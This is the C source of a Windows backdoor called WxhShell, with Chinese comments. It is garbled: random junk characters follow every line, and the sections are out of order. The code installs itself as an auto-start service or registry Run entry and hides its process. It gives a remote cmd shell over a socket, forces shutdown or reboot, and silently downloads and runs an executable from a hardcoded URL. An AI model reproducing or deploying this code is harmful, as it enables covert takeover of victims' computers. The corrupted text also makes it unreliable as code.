    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -W oZwqh  
    if(Boot(SHUTDOWN)) 'Kq%t M26!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &^Xm4r%u_  
    else { `fL$t0 "  
    closesocket(wsh); Ms$kL'/  
    ExitThread(0); YlYTH_L>E  
    } 2#rF/!`^  
    break; TN0d fba[  
    } avT>0b:  
  // 获取shell *v&g>Ni  
  case 's': { Z)ObFJMG5  
    CmdShell(wsh); N#UyAm<9  
    closesocket(wsh); S |B7HS5  
    ExitThread(0); ){,8}(|  
    break; 0>AA-~=-  
  } eHv/3"Og  
  // 退出 ^y?? pp<1J  
  case 'x': { 5ecqJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VJPt/Dy{  
    CloseIt(wsh); Vdjca:`  
    break; f6z[k_lLN  
    } O/FQ'o1F  
  // 离开 sqkPC_;A  
  case 'q': { K/08F|]a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xf.SJ8G  
    closesocket(wsh); R[9[lQ'vR  
    WSACleanup(); 5` Q#2  
    exit(1); Gz kf  
    break; z,^baU  
        } /|>z7#?m^  
  } |i|>-|`!  
  } P>)qN,a  
? 1_*ct=g9  
  // 提示信息 khyV uWN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y0z}[hZ  
} jPFA\$To  
  } 'Yj/M  
UGAP$_j ]P  
  return; d#A.A<p*  
} m. XLpD  
f>Ij:b`Z2  
// shell模块句柄 C7nLa@  
int CmdShell(SOCKET sock) i5rAb<q`  
{ g4U%(3,>D  
STARTUPINFO si; zHyM@*Gf(  
ZeroMemory(&si,sizeof(si)); 9V\5`QXu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &6!x;RB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -l^u1z  
PROCESS_INFORMATION ProcessInfo; oo<,hOv   
char cmdline[]="cmd"; eM{+R^8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @C?RbTHy  
  return 0; ?a(ApD\  
} mgg/i@(  
0*+i~g,Kl@  
// 自身启动模式 g_-Y- .M  
int StartFromService(void) l].dOso$`  
{ Q xKC5`1  
typedef struct hg |DpP  
{ 2y,f  
  DWORD ExitStatus; yv&&x.!.Z  
  DWORD PebBaseAddress; rZ *}jD[  
  DWORD AffinityMask; !hEt UF  
  DWORD BasePriority; l+RBe<Mq  
  ULONG UniqueProcessId; (rvK@  
  ULONG InheritedFromUniqueProcessId; +1_NB;,e  
}   PROCESS_BASIC_INFORMATION; >12phLu  
`n$pR8TZ_  
PROCNTQSIP NtQueryInformationProcess; LKTIwb>  
ss.wX~I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XB^o>/|@S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;QS-a  
4y:yFTp  
  HANDLE             hProcess; l(*`,-pv:  
  PROCESS_BASIC_INFORMATION pbi; m{;2!  
}5u$/c@f1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :<!a.%=  
  if(NULL == hInst ) return 0; +H8]5~',L%  
TU^UR}=lP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eqg|bc[i!t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &KT*rL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,d$V-~2,  
F0qGkMs|f  
  if (!NtQueryInformationProcess) return 0; r 1nl!  
[a`89'"z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >6KuZ_  
  if(!hProcess) return 0; 7gNJ}pLDx  
x}{/) ?vC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1@egAo)  
1 VcZg%I  
  CloseHandle(hProcess); 0p)#!$  
$@s&qi_&R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2ntL7F<ow  
if(hProcess==NULL) return 0; +7.\>Ucq`  
&iORB  
HMODULE hMod; wL\OAM6R  
char procName[255]; "@#^/m)  
unsigned long cbNeeded; jEo)#j];`<  
59 R;n.Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !#Ub*qY1Z  
i]Njn k  
  CloseHandle(hProcess); scT,yNV  
$qV, z  
if(strstr(procName,"services")) return 1; // 以服务启动 uD4on}  
(p>?0h9[  
  return 0; // 注册表启动 TgoaEufS<  
} ]ri5mnB  
)[oegfnn-  
// 主模块 Yw7txp`i  
int StartWxhshell(LPSTR lpCmdLine) '1'De^%6W  
{ Y23- Im  
  SOCKET wsl; oc7&iL  
BOOL val=TRUE; AY<(`J{  
  int port=0; H,u{zU')  
  struct sockaddr_in door; %-1-y]R|  
m:SG1m_6  
  if(wscfg.ws_autoins) Install(); zk#"n&u0  
r~nD%H:}P  
port=atoi(lpCmdLine); `tw[{Wb  
i&=I5$  
if(port<=0) port=wscfg.ws_port; <Nwqt[.  
JFewOt3  
  WSADATA data; I&vD >a5#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5$$Yce=k  
<n? cRk'.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '{*{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _UI*W&*  
  door.sin_family = AF_INET; G9v'a&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :{BD/6  
  door.sin_port = htons(port); uGt}Hn  
Gj!9#on$7R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C.4r`F$p  
closesocket(wsl); rZ'&'#Q  
return 1; 4} .PQ{  
} /Z^"[Ke  
-Y>,\VEK  
  if(listen(wsl,2) == INVALID_SOCKET) { xP/?E  
closesocket(wsl); 71b0MHNkvv  
return 1; J PO'1 D)  
} aG_@--=  
  Wxhshell(wsl); M$YU_RPl+  
  WSACleanup(); Zaime  
,=>Ws:j  
return 0; Z mVw5G q  
ad)jw:n  
} /]pJ(FFC  
xbqFek$/r  
// 以NT服务方式启动 J,(@1R]KF:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *yl?M<28  
{ #z6[ 8B  
DWORD   status = 0; G`D rY;  
  DWORD   specificError = 0xfffffff; UlP2VKM1&  
S3oyx#R('O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aQ.QkM Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]w,:T/Z}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !WS Y75  
  serviceStatus.dwWin32ExitCode     = 0; *Ri\7CqU"6  
  serviceStatus.dwServiceSpecificExitCode = 0; T3wQRn  
  serviceStatus.dwCheckPoint       = 0; \3"jW1Wb  
  serviceStatus.dwWaitHint       = 0; NTWy1  
`D-P}hDm!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $Z|HFV{  
  if (hServiceStatusHandle==0) return; #)r^ZA&E  
r{cmw`WA/P  
status = GetLastError(); &u+l`F^Z  
  if (status!=NO_ERROR) r{>`"  
{ pl }nb Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (n{x"rLy/  
    serviceStatus.dwCheckPoint       = 0; {'8td^JEE  
    serviceStatus.dwWaitHint       = 0; ThvgYv--B  
    serviceStatus.dwWin32ExitCode     = status; v*";A  
    serviceStatus.dwServiceSpecificExitCode = specificError; +$}3=n34)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jFDVd;#CS  
    return; y#T.w0*  
  } 'GI| t  
='vD4}"j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TUBpRABH  
  serviceStatus.dwCheckPoint       = 0; k=W~ot &  
  serviceStatus.dwWaitHint       = 0; TTa$wiW7'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,B~5;/ |  
} vX@T Zet0  
$fCKK&Wy  
// 处理NT服务事件,比如:启动、停止 >^6|^rc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;9CbioO  
{ ^GpLl   
switch(fdwControl) 3Ofh#|qc&  
{ mv,5Q6!  
case SERVICE_CONTROL_STOP: jn4|gQ  
  serviceStatus.dwWin32ExitCode = 0; t zShds  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3+l8VX&u!  
  serviceStatus.dwCheckPoint   = 0; 2YDD`:R  
  serviceStatus.dwWaitHint     = 0; "XQ3mi`y  
  { }_Ci3|G>%D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gvFJ~lL  
  } 7@&mGUALO  
  return; wz..  
case SERVICE_CONTROL_PAUSE: ' 7Mz]@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &S=Qu?H  
  break; BG6.,'~7o  
case SERVICE_CONTROL_CONTINUE: 4bCA"QM[[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *knN?`(x  
  break; 3$?nzKTW\  
case SERVICE_CONTROL_INTERROGATE: 0&u=(;Dr\  
  break; Yy~xNj5OS  
}; <0VC`+p<)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QOX'ZAB`  
} w\mTug  
k8\ KCKql  
// 标准应用程序主函数 R$ !]z(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (*M0'5  
{ ;m7~!m)  
>/Gw)K}#E  
// 获取操作系统版本 \2!.  
OsIsNt=GetOsVer(); ScjeAC)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _&(L{cFx6  
^W(ue]j}o  
  // 从命令行安装 6 .9C 4  
  if(strpbrk(lpCmdLine,"iI")) Install(); RH{+8?0  
GSs?!BIC  
  // 下载执行文件 )Tieef*Q~  
if(wscfg.ws_downexe) { ,Ne9x\F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *<:6A&'D9  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]cv/dY#  
} cNT !}8h^  
lI%RdA[  
if(!OsIsNt) { xQ';$&  
// 如果时win9x,隐藏进程并且设置为注册表启动 yZ!~m3Q  
HideProc(); bo/<3gR  
StartWxhshell(lpCmdLine); ck%.D%=  
} f[vm]1#  
else :IU<AG6  
  if(StartFromService()) 0i"2s}^+_  
  // 以服务方式启动 \crh`~?>  
  StartServiceCtrlDispatcher(DispatchTable); |Eh2#K0x4G  
else IhBQ1,&J  
  // 普通方式启动 }z#M!~  
  StartWxhshell(lpCmdLine); 1;KJUf[N  
FA>.1EI  
return 0; dGj0;3FI%  
} &^K(9"  
s?s ,wdp  
.N>*+U>>P  
?(U;T!n  
=========================================== |QF_E4ISD  
-T;^T1  
R!%HQA1U  
YD@Z}NE v"  
8(&6*- 7=  
E<}sGzMc  
"  zR'EQ  
6;\1bP?  
#include <stdio.h> `&.qHw)  
#include <string.h> qou\4YZ  
#include <windows.h> .I EHjy\+  
#include <winsock2.h> Z m%,L$F*L  
#include <winsvc.h> glc<(V  
#include <urlmon.h> 7QnWw0  
2z" <m2 a  
#pragma comment (lib, "Ws2_32.lib") [mQ1r*[j  
#pragma comment (lib, "urlmon.lib") mR1b.$  
*!TQC6b$  
#define MAX_USER   100 // 最大客户端连接数 sV-P R]  
#define BUF_SOCK   200 // sock buffer R2?s NlF  
#define KEY_BUFF   255 // 输入 buffer  [B`4I  
%'i_iF8.  
#define REBOOT     0   // 重启 yH]Q;X '  
#define SHUTDOWN   1   // 关机 7sQHz.4  
KQb&7k .  
#define DEF_PORT   5000 // 监听端口 '(C+qwdRv  
T iL.py,  
#define REG_LEN     16   // 注册表键长度 x7<NaMK\  
#define SVC_LEN     80   // NT服务名长度 %FM26^  
, `Z4fz:  
// 从dll定义API G u_\ySV/y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ykJ+LS{+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6M`gy|"(~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,u^{zYoW  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :j .:t  
R`DzVBLl  
// wxhshell配置信息 /n(0w`   
struct WSCFG { R4VX*qkB  
  int ws_port;         // 监听端口 [;7zg@Sa  
  char ws_passstr[REG_LEN]; // 口令 ,SNrcwv  
  int ws_autoins;       // 安装标记, 1=yes 0=no G1w$lc  
  char ws_regname[REG_LEN]; // 注册表键名 X<.l(9$  
  char ws_svcname[REG_LEN]; // 服务名 ~XP|dn}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <uS/8MP{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pZeO dh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W|Sab$h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $:oC\K6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `JDZR:bMaT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I}o} # OJ  
Yq51+\d  
}; fNu/>pN  
&+@`Si=  
// default Wxhshell configuration QwpX3 k6  
struct WSCFG wscfg={DEF_PORT, z9OpMA  
    "xuhuanlingzhe", :<B_V<  
    1, s@"|o3BX  
    "Wxhshell", IAGY-+8e  
    "Wxhshell", #BcUE?K*N  
            "WxhShell Service", S'qT+pP  
    "Wrsky Windows CmdShell Service", `:~Wu/Ogr  
    "Please Input Your Password: ", 'dh{q`#0  
  1, M&hNkJK*G  
  "http://www.wrsky.com/wxhshell.exe", K-\wx5#l/  
  "Wxhshell.exe" #k)z5vZ$h  
    }; /;Hqv`X7  
pO7OP"q1  
// 消息定义模块 l4+ `x[^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LFxk.-{=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^o _J0 ]m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )P b$  
char *msg_ws_ext="\n\rExit."; -N^Ah_9ek  
char *msg_ws_end="\n\rQuit."; }riM-  
char *msg_ws_boot="\n\rReboot..."; <EgJm`V  
char *msg_ws_poff="\n\rShutdown..."; )4qspy3  
char *msg_ws_down="\n\rSave to "; i~v[3e9y7  
Or?c21un  
char *msg_ws_err="\n\rErr!"; BQ u8$W  
char *msg_ws_ok="\n\rOK!"; fV Y I  
X)iI]   
char ExeFile[MAX_PATH]; i}C%8} %  
int nUser = 0; WvJ:yUb2  
HANDLE handles[MAX_USER]; K n1;=k  
int OsIsNt; tF-l=ph}`  
F5YoEWS  
SERVICE_STATUS       serviceStatus; 4XVwi<)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H.>EO&#|p  
tw<Oy^ i  
// 函数声明 vdgK3I  
int Install(void); s:xJ }Ll  
int Uninstall(void); *tRsm"}  
int DownloadFile(char *sURL, SOCKET wsh); f'5 6IT  
int Boot(int flag); "\}h  
void HideProc(void); <XDnAv0t  
int GetOsVer(void); #prYZcHv:_  
int Wxhshell(SOCKET wsl); Z&iW1  
void TalkWithClient(void *cs); Da8gOZ  
int CmdShell(SOCKET sock); wzxV)1jT  
int StartFromService(void); CP2wg .  
int StartWxhshell(LPSTR lpCmdLine); KGc.YUoE  
J!~kqNI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (n>Gi;u(R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >jmHe^rH  
XY? Cl  
// 数据结构和表定义 ~4FzA,,  
SERVICE_TABLE_ENTRY DispatchTable[] = nu1XT 1q1  
{ ']\SX*z?  
{wscfg.ws_svcname, NTServiceMain}, T*#M'H7LSQ  
{NULL, NULL} g)$KN,gGuO  
}; U*yOe*>  
6E1~dK0t  
// 自我安装 ZQKo ]Kdr  
int Install(void) _U4@W+lhX_  
{ "HqmS  
  char svExeFile[MAX_PATH]; tl~ZuS/  
  HKEY key; ,\&r\!=  
  strcpy(svExeFile,ExeFile); i4k [#x  
[tt{wl"E  
// 如果是win9x系统,修改注册表设为自启动 0`WFuFi^o  
if(!OsIsNt) { 0n2H7}Uq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U" 3L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ',]Aj!q  
  RegCloseKey(key); iQ2}*:Jc$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i={4rZOD^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ev3'EA~`  
  RegCloseKey(key); )h0>e9z>Y  
  return 0; SKNHLE}  
    } |"%OI~^%  
  } x_<#28H!  
} $vO<v<I'Gb  
else { .L%pWRxA[  
)jUPMIo  
// 如果是NT以上系统,安装为系统服务 acUyz2x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c1FSQ m81  
if (schSCManager!=0) @f|~$$k=  
{ T;{}bc&I  
  SC_HANDLE schService = CreateService ?F$#t6Q  
  ( z(.,BB[  
  schSCManager, @@\px66  
  wscfg.ws_svcname, r|uR!=*|?  
  wscfg.ws_svcdisp, XHKLl?-  
  SERVICE_ALL_ACCESS, N+ ]O#Js?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H$^9#{  
  SERVICE_AUTO_START, E'mT%@M OM  
  SERVICE_ERROR_NORMAL, 1GkoE  
  svExeFile,  %rlqq*  
  NULL, <1lB[:@%U  
  NULL, ^jS1g*nrN  
  NULL, S[y_Ew zq  
  NULL, FcZ)^RQ4G  
  NULL ]lyQ*gM  
  ); !@ P{s'<:  
  if (schService!=0) FxK!h.C.  
  { 'ta&qp  
  CloseServiceHandle(schService); bW/T}FN D  
  CloseServiceHandle(schSCManager); 7 u Q +]d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); go6; _  
  strcat(svExeFile,wscfg.ws_svcname); (Lh!7g/0N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eS4t0`kP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VE/m|3%t  
  RegCloseKey(key); QALr   
  return 0; @J6r;4|&  
    } z.)*/HGJm  
  } @Q nKaZ8jW  
  CloseServiceHandle(schSCManager); }LX!dDuwA  
} 99'c\[fd'  
} [K4 k7$  
.) %, R  
return 1; KdZ=g ZSH  
} G eB-4img  
KX!/n`2u  
// 自我卸载 (Lj*FXmz  
int Uninstall(void) ^j pQfDe6  
{ vg X7B4  
  HKEY key; z$g__q-  
y!S:d  
if(!OsIsNt) { = 4|"<8'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !P=L0A`  
  RegDeleteValue(key,wscfg.ws_regname); 'ju_l)(R  
  RegCloseKey(key); H0lW gJmi|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { OU]"uV<(  
  RegDeleteValue(key,wscfg.ws_regname); >bhF{*t#;y  
  RegCloseKey(key); h?4EVOx+  
  return 0; TL$w~dY  
  } `RURC"  
} ##mBOdx  
} ?/,V{!UTtq  
else { <pG 4 g  
h5aPRPUg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gth_Sz5!#  
if (schSCManager!=0) 7rGp^  
{ =\i%,YY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #1}%=nAsi  
  if (schService!=0) @'hkU$N)  
  { apM)$  
  if(DeleteService(schService)!=0) { E/1:4?1 S  
  CloseServiceHandle(schService); +m~3InWq  
  CloseServiceHandle(schSCManager); 3FO-9H  
  return 0; ,|zwY~l t5  
  } Dcs O~mg  
  CloseServiceHandle(schService); #-"C_~-MH  
  } p R`nQM-D  
  CloseServiceHandle(schSCManager); d:]ZFk_*  
} {m,LpI0wG  
} >8vq`,e  
O\]{6+$fm!  
return 1; &i`(y>\  
} wF6a*b@v  
# X{lV]Z  
// 从指定url下载文件 ,ag* /  
int DownloadFile(char *sURL, SOCKET wsh) R Eo{E  
{ {VM^K1  
  HRESULT hr; C\bJ_vl;'  
char seps[]= "/"; mB bGj3u;  
char *token; _]3#C[1L  
char *file; nS.qK/.s  
char myURL[MAX_PATH]; g86^Z%c(k  
char myFILE[MAX_PATH]; p>T  
lPA}06hU  
strcpy(myURL,sURL); q!5`9u6  
  token=strtok(myURL,seps); @K#}nKN'  
  while(token!=NULL) 6*|EB|%n  
  { ose)\rM'  
    file=token; 7fT_]H8  
  token=strtok(NULL,seps); 8r0;054  
  } o9]!*Y!RA  
"1DlusmCCB  
GetCurrentDirectory(MAX_PATH,myFILE); r=RiuxxTq  
strcat(myFILE, "\\"); (v}l#M7w  
strcat(myFILE, file); R"F:(  
  send(wsh,myFILE,strlen(myFILE),0); i{HzY[  
send(wsh,"...",3,0); *J4 \KU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z{F^qwne  
  if(hr==S_OK) 1^WkW\9kO  
return 0; (J(SwL|  
else YXU2UIY<~  
return 1; ]yFO~4Nu  
] J|#WtS  
} !0KN A1w,  
=C)2DWJ1  
// 系统电源模块 e>uq/|.!  
int Boot(int flag) Wh%@  
{ 6mIRa(6V  
  HANDLE hToken; { "f} }}l  
  TOKEN_PRIVILEGES tkp; >4=7t&h  
{HVsRpNEf  
  if(OsIsNt) { |F ~U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "p>kiNu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Te^_gdf  
    tkp.PrivilegeCount = 1; Je K0><  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8ux  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fLkC|  
if(flag==REBOOT) { >#.du}t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iE ,"YCK  
  return 0; 2ryg3% +O  
} 9wC='  
else { u*7>0o|H:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i>pUTT _[  
  return 0; mJVru0  
} "1Y DT-I"  
  } og*ti!Z  
  else { >T\^dHtz  
if(flag==REBOOT) { 2aUE<@RU[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) dA(+02U/.  
  return 0; ,LU|WXRB  
} k/Ao?R=@gI  
else { Y5mk*Q#q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WBD"d<>'  
  return 0; >IZ$ .-  
} `n`HwDo;i  
} ,!^;<UR:  
-e+im(2D=  
return 1; OuPfB  
} 5N2`e3:I  
M^/ZpKeT"  
// win9x进程隐藏模块 5^2P\y(?  
void HideProc(void) "@jYZm8  
{ ~yRKNH*M  
_G^4KwYp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fQ2U |  
  if ( hKernel != NULL )  S^5Qhv  
  { M(Yt9}Z%Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vH"^a/95|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x^YsXzu  
    FreeLibrary(hKernel); j>hBNz  
  } srS5-fs  
?ViU%t8J5  
return; &&sm7F%  
} z) "(&__  
;x u&%n[6@  
// 获取操作系统版本 };>~P%u32  
int GetOsVer(void) j3'SM#X  
{ CE I.*Iywu  
  OSVERSIONINFO winfo; % hRH80W|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); WG5)-;>q|  
  GetVersionEx(&winfo); .DhB4v&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6eK7Jv\K  
  return 1; m P./e8  
  else m*>gG{3;  
  return 0; }FkF1?C  
} :-T[)Q+-3  
D.w6/DxaXa  
// 客户端句柄模块 '=ydU+X  
int Wxhshell(SOCKET wsl) .fNLhyd  
{ Ot~buf'|  
  SOCKET wsh; %?O$xQ.<  
  struct sockaddr_in client; {jEEAH)  
  DWORD myID; &f/"ir[8i  
U1=\ `)u;  
  while(nUser<MAX_USER)  |u^~Z-.  
{ L\t?^u  
  int nSize=sizeof(client); AK$i0Rn;pm  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fRcy$  
  if(wsh==INVALID_SOCKET) return 1; di~ [Ivw  
AZbFj-^4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !=vd:,  
if(handles[nUser]==0) 7@!3.u1B  
  closesocket(wsh); D.x&N~-  
else Q\*zF,ek  
  nUser++; " 8g\UR"[  
  } Q.l3F3;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <s (o?U  
%VO>6iVn  
  return 0; 9G{#a#Z.  
} '.t{\  
cx*$GaMk  
// 关闭 socket 5Ln !>,  
void CloseIt(SOCKET wsh) )JA^FQ5N  
{ xbZR/!?  
closesocket(wsh); UH7FIM7kX  
nUser--; a)rT3gl  
ExitThread(0);  75T+6 u  
} \`>f?}4  
-dH]_  
// 客户端请求句柄 #7naI*O  
void TalkWithClient(void *cs) En YEAjX  
{ ^-qz!ib  
xHuw ?4  
  SOCKET wsh=(SOCKET)cs; rTA#4.*&  
  char pwd[SVC_LEN]; `Wp& 'X  
  char cmd[KEY_BUFF]; aj$&~-/ R  
char chr[1]; n6#z{,W<3  
int i,j; |DXi~  
)3)fq:[  
  while (nUser < MAX_USER) { ~Z$Ro/;l  
E.^F:$2  
if(wscfg.ws_passstr) { *XluVochrb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NV;T*I8O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A=BT2j'l)  
  //ZeroMemory(pwd,KEY_BUFF); $`"$ZI6[  
      i=0; 8:"s3xaO3  
  while(i<SVC_LEN) { md /NMC \  
x UTlM  
  // 设置超时 r<_qU3Eaj  
  fd_set FdRead; C9nCSbGMY{  
  struct timeval TimeOut; y:R+;91  
  FD_ZERO(&FdRead); e+wINW  
  FD_SET(wsh,&FdRead); _/h<4G6A  
  TimeOut.tv_sec=8; a} :2lL%  
  TimeOut.tv_usec=0; D<Z]kR(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #8a k=lL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -@mcu{&  
G,,f' >  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d+&w7/F  
  pwd=chr[0]; 4-W~ 1  
  if(chr[0]==0xd || chr[0]==0xa) { Ew&|!d  
  pwd=0; @eN,m {b  
  break; ~Da-|FKa>  
  } QT[4\)  
  i++; G$6mtw6[M  
    } u'Z^|IVfo  
88A,ll%  
  // 如果是非法用户,关闭 socket {6HgKI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fz@U\\94z  
} )S|&3\  
#++D|oE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X="]q|Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [&:dPd1_  
c=4z+_K  
while(1) { B8?j"AF  
~f?brQ?  
  ZeroMemory(cmd,KEY_BUFF); 1cd3m  
FdS'0#$  
      // 自动支持客户端 telnet标准   jluv}*If  
  j=0; 5ih5=qX  
  while(j<KEY_BUFF) { 7O'u5 N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (4FZK7Fm  
  cmd[j]=chr[0]; F[~~fm_  
  if(chr[0]==0xa || chr[0]==0xd) { k3&/Ei5  
  cmd[j]=0; /=:F w}vt  
  break; HnY.=_G  
  } ^AR kjYt  
  j++; @{@)gE  
    } cs)R8vuB)z  
qDjH^f  
  // 下载文件 -hZw.eChQa  
  if(strstr(cmd,"http://")) { ]t_ Wl1*|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vW5>{  
  if(DownloadFile(cmd,wsh)) 8D`TN8[W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q@cYHFi~+  
  else ho}G]y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fTd":F  
  } pzxlh(a9  
